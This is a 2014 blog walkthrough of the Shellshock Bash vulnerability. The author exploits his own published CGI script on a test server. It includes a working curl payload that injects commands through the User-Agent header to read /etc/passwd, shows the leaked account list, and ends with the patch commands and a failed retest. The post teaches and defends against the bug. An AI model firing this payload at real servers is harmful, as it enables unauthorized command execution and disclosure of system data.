Shellshock - A Worked Example
The big story this week (26th September 2014) is the so-called "Shellshock" bug in GNU's very popular Bash shell. There is a lot of hype and a lot of inaccurate reporting being published about it, so I wanted to investigate further. One of the most obvious attack vectors is a Bash-based CGI script. This is explioitable, as we shall see, though they are also pretty rare things - some of the most immediately obvious reasons for not using Bash for this task are:
- It's not built with network security in mind
- It's not fast
- It's not intuitive - parsing QUERY_STRINGS, sending headers, and so on
- Other languages are readily available without these limitations
Still, for my book, Shell Scripting - Expert Recipes for Linux, Bash and more, I did include a CGI script written in Bash, mainly to show that whilst not the obvious choice, it can be done.
So I am interested to see how vulnerable, and how easily explotable, such a CGI script is. It's a "real world" example in that it's taken from a published book, but it's also mine - I wrote it, so it feels like a valid script for me to exploit, for demonstration purposes.
The Disclaimer
Why on earth would I be so lax as to suggest to my readers that they would want to set up such a system? Well, I really didn't. From the introduction to the section:
Each Recipe also includes a "Potential Pitfalls" section. Here I said:
In the "GET" section, I discuss various ways of exploiting this simple script, and point out that:
In Figure 16-5, I show a successful attack (not using "Shellshock", but simply tricking the CGI script in other, less subtle ways) to further highlight the dangers of using Bash (or any shell) for such a function. In the "Summary" section, I point out that unauthenticated CGI, in any form, is inherently risky:
The Setup
The CGI script is very easy to set up - I've taken a CentOS 6.5 (functionally the same as Red Hat Enterprise Linux 6.5) system, but it could be any operating system with Bash and Apache. From a base install, and with one HTML file, and one CGI script, which can be downloaded from the links in steps 2 and 3, simply follow these four steps:
- # yum -y install httpd
- # cp index.html /var/www/html
- # cp hello.cgi /var/www/cgi-bin
- # service httpd start
Now, I can browse to the site, enter some test data, and press "Submit Form":
The web server responds by passing my input text to the CGI script, hello.cgi
, which creates a web page telling me what I had entered:
That's all as advertised, but what about this "Shellshock" bug? Well, when we send the request to the web server, Wireshark shows that the actual request looks like this:
GET /cgi-bin/hello.cgi?one=hello+world&two=are+you+shellshocked%3F&check2=on HTTP/1.1 Host: example.com Connection: keep-alive Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36 Referer: http://example.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
All of that data is sent to Apache, which passes it on to the CGI script, which is processed by Bash. Those headers would be set as environment variables. (The initial GET
string is given the special variable name ${QUERY_STRING}
).
To keep things simple, I'll repeat this with the curl
tool, simply because it's easier to show that we are spoofing the data we send to the web server. We can send the full query string that we used before, and get exactly the same response. curl
does not parse the HTML for us, so we see the HTML code directly.
$ curl "http://example.com/cgi-bin/hello.cgi?one=hello+world&two=are+you+shellshocked%3F&check2=on" <html> <head><title>Hello There!</title></head> <body> <h1>Hello There!</h1> You said: one=hello+world&two=are+you+shellshocked%3F&check2=on <hr/> one is hello world <br/> two is are you shellshocked%3F <br/> check1 is not set<br/> check2 is set<br/> check3 is not set<br/> <hr/> one is hello world <br/> two is are you shellshocked%3F <hr/> </body> </html>
From this point, we can repeat the test with a spoofed User-Agent string. We could also add other headers, but this is the simplest test. The -A
switch to curl
sets the User-Agent string.
$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd' "http://example.com/cgi-bin/hello.cgi?one=hello+world&two=are+you+shellshocked%3F&check2=on"
Now Wireshark shows the request, and the output from the CGI script. The User-Agent line is highlighted below.
GET /cgi-bin/hello.cgi?one=hello+world&two=are+you+shellshocked%3F&check2=on HTTP/1.1 User-Agent: () { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd Host: example.com Accept: */* HTTP/1.1 200 OK Date: Fri, 26 Sep 2014 11:45:39 GMT Server: Apache/2.2.15 (CentOS) "Content-type: text/plain" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin .... and so on ...
Now, what the attacker sees is the following:
$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd' "http://example.com/cgi-bin/hello.cgi?one=hello+world&two=are+you+shellshocked%3F&check2=on" root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin ldap:x:55:55:LDAP User:/var/lib/ldap:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin
We have tricked the CGI script into executing a set of commands for us:
- echo "Content-type: text/plain"
- echo
- echo
- /bin/cat /etc/passwd
This is the "Shellshock" bug. Bash sees the User-Agent string and parses it:
User-Agent: () { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd
Bash parses "() { test; };
" and sees that it is a function definition. Unfortunately, the function definition parser, which should stop at this point, as the function is now fully defined, goes on to parse the rest of the line as well. So the output given to the attacker is the output of the harmless echo
commands, which are just for formatting, followed by the command /bin/cat /etc/passwd
. This displays a list of the accounts on the system, and much information about them.
Taking it Further
Once we've got this far, we can run any command that the web server can run. So we can't do rm -rf /
, or cat /etc/shadow
, but we can quite possibly deface the website itself, and find out a lot about the server. There are reports of installing bots on servers. This is a good example of why filtering outbound packets is a sensible precaution, as well as filtering inbound packets.
It is important to note there that although a Bash CGI script like this is very uncommon, other things can also be vulnerable - if a Perl script runs system("/bin/mkdir /data/files/foo");
, that will also be interpreted by the shell. If that shell is Bash, it could be vulnerable to similar exploits.
Safe Again
The fix is simple enough - upgrade to a version newer than today (Friday 26th September 2014). On Red Hat based systems, yum upgrade bash
will upgrade you to the most current available version; on Debian based systems, apt-get install --only-upgrade bash
. For Red Hat details, see Red Hat Errata, for Debian, see Debian Security. For Ubuntu, see Ubuntu Security Notices. After this simple fix, the exploit fails to work:
$ curl -A '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd' "http://example.com/cgi-bin/hello.cgi?one=hello+world&two=are+you+shellshocked%3F&check2=on" <html> <head><title>Hello There!</title></head> <body> <h1>Hello There!</h1> You said: one=hello+world&two=are+you+shellshocked%3F&check2=on <hr/> one is hello world <br/> two is are you shellshocked%3F <br/> check1 is not set<br/> check2 is set<br/> check3 is not set<br/> <hr/> one is hello world <br/> two is are you shellshocked%3F <hr/> </body> </html>
About Steve Parker
Steve Parker is the author of the Shell Scripting Tutorial freely available on this site, also available on Kindle and as a Paperback book, of Shell Scripting - Expert Recipes for Linux, Bash and more, a 600-page book on Shell Scripting, as well as other Unix/Linux-based publications. See http://steve-parker.org/publications/ for the full list of publications.
Steve is also the maintainer of the Shell Scripting page on Facebook. "Like" this page for more updates on Shell Shock and other Shell Scripting topics, by clicking the "Like" button below: